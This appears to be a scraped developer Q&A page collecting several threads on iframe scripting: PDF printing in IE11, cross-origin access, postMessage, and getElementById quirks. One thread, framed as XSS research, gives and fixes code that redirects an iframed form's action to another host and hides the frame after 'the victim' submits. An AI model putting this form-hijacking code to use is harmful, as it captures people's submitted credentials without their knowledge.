I have a simple web page where 1 frame displays a pdf and another a menu bar.
<iframe src="bar.html" name="menu" ></iframe>
<iframe src="doc.pdf" name="itempane" ></iframe>
Using chrome I can navigate from the menu bar to the parent and back down to the frame containing the pdf in order to print it
var pWindow = window.parent;
pWindow['itempane'].print();
Attempting to do the same in IE11 gives an Invalid calling object error.
you can see this at http://www.abhrdev.co.uk/main.html
What am I doing wrong / what is IE doing differently?
Cheers
Updated.....
I think I have proved that this is not a javascript coding issue but related to the pdf handling in IE. With the following page
Print PDF<br/>
Print HTML
<iframe src="bar_1.html" name="menu" ></iframe>
<iframe src="doc.pdf" name="pdfpane" ></iframe>
<iframe src="doc.html" name="htmlpane" ></iframe>
and this function
function printFromMain(paneName) {
var pWindow = window[paneName];
pWindow.focus();
pWindow.print();
}
the printing of the html page works but not the pdf the pWindow.focus() gives Invalid Calling Object - any insight into why that might be greatfully recieved
After trying several things, I finally go this to work in IE11:
1) use an object tag instead of iframe
2) run focus() / print() directly on the element
3) run after a timeout, to make sure everything in is loaded. There may be a better way (like using some event listener) to do this, as the timeout time needs to be fairly long for it to work properly
setTimeout(function () {
var contentThingy = document.getElementById('itempane');
contentThingy.focus();
contentThingy.print();
}, 4000);
Object (with a specified id) instead of iframe:
<object id="itempane" ... ></object>
Note: doesn't work in chrome. One of the other variations in the other answers (i.e. using ContentWindow) may.
Try actually using the window.frames to get the frameList and reference it by the frame name that way.
var pWindow = window.parent; //reference the parent from the iframe
var ifr = pWindow.frames.itempane; //get the pdf frame from the frame list
ifr.focus();
ifr.print();
Try this
<iframe src="bar.html" name="menu" ></iframe>
<iframe src="doc.pdf" ID="itempane" ></iframe>
var otherPane = parent.document.getElementById("itempane");
otherPane.focus(); // OR
otherPane.print(); // OR
var doc = otherPane.contentWindow || otherPane.contentDocument;
doc.focus();
doc.print();
Related
I have a video player I implement with an iFrame.
<iframe
src="//player.twitch.tv/?video=v209807471&autoplay=true&time=02h59m45s"
frameborder="0"
scrolling="no"
allowfullscreen="true"
id="tFrame"
class="ls-vod-iframe"
>
</iframe>
I would now like to read the current timestamp which is located in the .player-seek__time span inside this iframe.
When I check the source code of //player.twitch.tv/?video=v209807471&autoplay=true&time=02h59m45s if shows me an empty div of #video-playback so I assume it loads the contents in another call internally.
I tried it with this:
var $playerBody = $('#tFrame').contents().find('#video-playback');
var $ts = $playerBody.find('.player-seek__time');
console.log($ts);
but $ts.length is 0.
Is there another way to get the content of .player-seek__time or is anything wrong with the above code in general?
getTimeStamp = function() {
var frameDoc = document.getElementById('tFrame').contentDocument;
if (frameDoc) {
return frameDoc.body.querySelector('#video-playback > .player-seek__time').textContent;
}
else {
return false; //maybe access is blocked by the website
}
}
document.getElementById('tFrame').addEventListener('load', function() {
alert(getTimeStamp());
});
<iframe
src="//player.twitch.tv/?video=v209807471&autoplay=true&time=02h59m45s"
frameborder="0"
scrolling="no"
allowfullscreen="true"
id="tFrame"
class="ls-vod-iframe"
>
</iframe>
This should work in general but it seems that twitch won't allow you to load their site inside an iframe?
Also same-origin-policy could prevent an access.
For me it only works when using this code via the console inside a tab.
I have an iframe of a certain page from a site that I'm using, but I don't want all the parts of that page to be displayed with the iframe. Particularly, there's a navigation sidebar on the page that I don't want to be in the iframe. I'm trying to achieve this with the javascript seen below, but I can't quite figure it out.
<iframe width="800" height="800" src="scores/new?site_id=193">
<script>
var element = document.getElementById("sidebar-wrapper");
element.parentNode.removeChild(element);
</script>
</iframe>
For security reasons you can't run javascript through iframes. There are some exceptions if you're on the same domain but for the most part you should really avoid it.
If the iframe isn't a site you can control then there's pretty much nothing you can do. If you do control the other site and it's a different domain you might be able to work with the postMessage functions.
Edit: Check out the docs that Mozilla has up here https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage
You'd need to create a listener on the inside that handles a message and hides your sidebar. Then on the parent send a message to the iframe to trigger that function.
Parent:
var iframe = document.getElementById('#iframeID');
iframe.contentWindow.postMessage('iframeTrigger');
Iframe:
window.addEventListener('iframeTrigger', hideSidebar);
function hideSidebar() {
//do stuff
}
You can insert a control in the iframed page
//inside the iframed page
var iframe = (function() {
try {
return window.self !== window.top;
} catch (e) {
return true;
}
})();
if(iframe === true) {
var element = document.getElementById("sidebar-wrapper");
element.parentNode.removeChild(element);
}
Hope this could suit your need.
This should work theoretically, and it works in console. But this doesn't work in the HTML, although you are trying it from the same domain, because of security reasons. I just wanted to tell my view and I tried this:
<iframe src="http://output.jsbin.com/figujeyiyo" frameborder="0" id="ifrm">
Sorry, iframes not supported.
</iframe>
<script>
console.log(document.getElementById("ifrm").contentDocument.documentElement.getElementsByTagName("div"));
e = document.getElementById("ifrm").contentDocument.documentElement.getElementsByTagName("div")[0];
console.log(e);
e.parentNode.removeChild(element);
</script>
You need to execute the code when the page loads, you can do it like this:
document.addEventListener('DOMContentLoaded', function() {
var element = document.getElementById("sidebar-wrapper");
element.parentNode.removeChild(element);
});
As part of some XSS research I'm doing, I'm trying to spawn an iframe with a changed form action and then close the iframe after the victim has submitted their details. I have the below code so far:
<body onload="iframeEdit()">
<script>
function deleteIframe() {
var iframe = document.getElementById("myframe");
iframe.parentNode.removeChild(iframe);
}
function iframeEdit() {
var iframe = document.getElementById("myframe");
var innerDoc = iframe.contentDocument || iframe.contentWindow.document;
var form = innerDoc.getElementsByTagName("form");
form[0].action = "http://127.0.0.1/new/page.php";
form[0].setAttribute("onSubmit", "deleteIframe()");
}
</script>
<iframe id="myframe" src="http://127.0.0.1/iframe/page.php" height="250" width="300">
That code still posts the form details to the php page; however, it fails to close the iframe afterwards. I know the iframe delete code works, as if I try it on its own in it works as it should. So it's either to do with the logic flow of the script, or the setAttribute line isn't working as it should. Can anyone shed some light on where I'm going wrong? Thanks!
There may be a better way to do this, but a work around I found was to pause the deleteIframe function, via setTimeout(). I found as little as 5 milliseconds was enough for the form details to be successfully posted :)
function deleteIframeTimer(){
var t = setTimeout("deleteIframe()", 5);
}
function deleteIframe() {
var iframe = parent.document.getElementById("myframe");
iframe.parentNode.removeChild(iframe);
}
Many thanks to Jason for the parenttip!
This is just a guess without running your code
form[0].setAttribute("onSubmit", "parent.deleteIframe()");
My guess is that the iframe cannot access the parent window directly, so you'll need the parent
I am creating an iframe using jQuery to a "cross-site" URL. This works properly in Firefox but IE is prepending the parent pages domain to the iframes src URL.
An example would be if I am creating the iframe (with jQuery):
<iframe src="http://www.google.com"></iframe>
The page that IE would try to load is:
http://www._mysite_.com/http://www.google.com
If I statically in the HTML create the iframe everything works fine. It is only when I make it using JS that it loads the wrong page.
I suppose I would understand if this was intentional cross-site protection that IE has built in, but I am wondering if that is the case, or if I am missing something.
Is this default behavior for IE? If anyone has a workaround it would be greatly appreciated.
EDIT:
Generated code is:
<iframe id="myIframe" width="500" height="400" frameborder="0" src="http://www._website_.com/aaa/bbb/ccc">
I tested the generated code at static HTML and it did work properly in IE.
EDIT 2:
This is how I am creating the iframe:
jQuery('.signUp').live('click', function() {
var url = 'http://www._website_.com'+$(this).attr('href');
var thisModal='<div id="dialogRes" class="windowG"><iframe id="iframeG" frameborder="0" width="500" height="400" src="#"></iframe></div>';
jQuery('body').append(thisModal);
jQuery('#iframeG').prop('src', url);
return false;
});
On this line:
jQuery('#iframeG').prop('src', url);
I have tried attr() as well as removing it all together and just putting the url in the src tag of the iframe. Nothing seemed to work.
The problem is that in IE, the href attribute is always returned as an absolute URL. So if you had
<a id="demo" href="bar/baz">...</a>
Then your on your website http://mydomain.com/foo:
jQuery('#demo').attr('href') == 'http://mydomain.com/foo/bar/baz';
Two options to work around this are to either parse out the (possible) full domain from the href attribute, or to use a different custom attribute just to hold the target address/path (eg data-href).
I have a javascript function that I am calling from an image onClick event in my page.
Basically the function sets a variable which is referencing an element within the same page.
here is how the function is called (note, the html is printed using PHP, but don't think that has any effect on the html itself):
echo "<img src='site/images/apps/show.gif' onClick='apps()' id='appbutton' style='#'>";
here is what the script references:
<iframe frameborder="0" name="app_frame" src="site/apps.html" width="0%" height="100%" scrolling="no"></iframe>
and finally, here is how it is referenced and what is done with it:
<script type="text/javascript">
function apps()
{
var element = document.getElementById("app_frame");
if (element.width == '0%')
{
parent.document.getElementById("frame").setAttribute("width","100%");
parent.document.getElementById("app_frame").setAttribute("width","0%");
parent.document.getElementById("appbutton").setAttribute("src","site/images/apps/show.gif");
parent.document.getElementById("wthrbutton").style.visibility="hidden";
}
else
{
parent.document.getElementById("frame").setAttribute("width","65%");
parent.document.getElementById("app_frame").setAttribute("width","35%");
parent.document.getElementById("appbutton").setAttribute("src","site/images/apps/hide.gif");
parent.document.getElementById("wthrbutton").style.visibility="visible";
}
}
</script>
The main issue is on the first line of the function, var element = document.getelementbyid.
Firefox, Chrome and Safari all hve issues with this, and none of them seem to set the variable, which renders the rest of the script useless, as the whole thing revolves around the variable.
Anyone know any other way of setting that element as a variable that would work in these browsers?
Thanks
That is because there is nothing with an id of app_frame. You have set the iframe's name to app_frame. Change your iframe's code to:
<iframe frameborder="0" name="app_frame" id="app_frame" src="site/apps.html" width="0%" height="100%" scrolling="no"></iframe>
An article pointing out this quirk in IE
MSDN's doc on getElementById states it returns names or id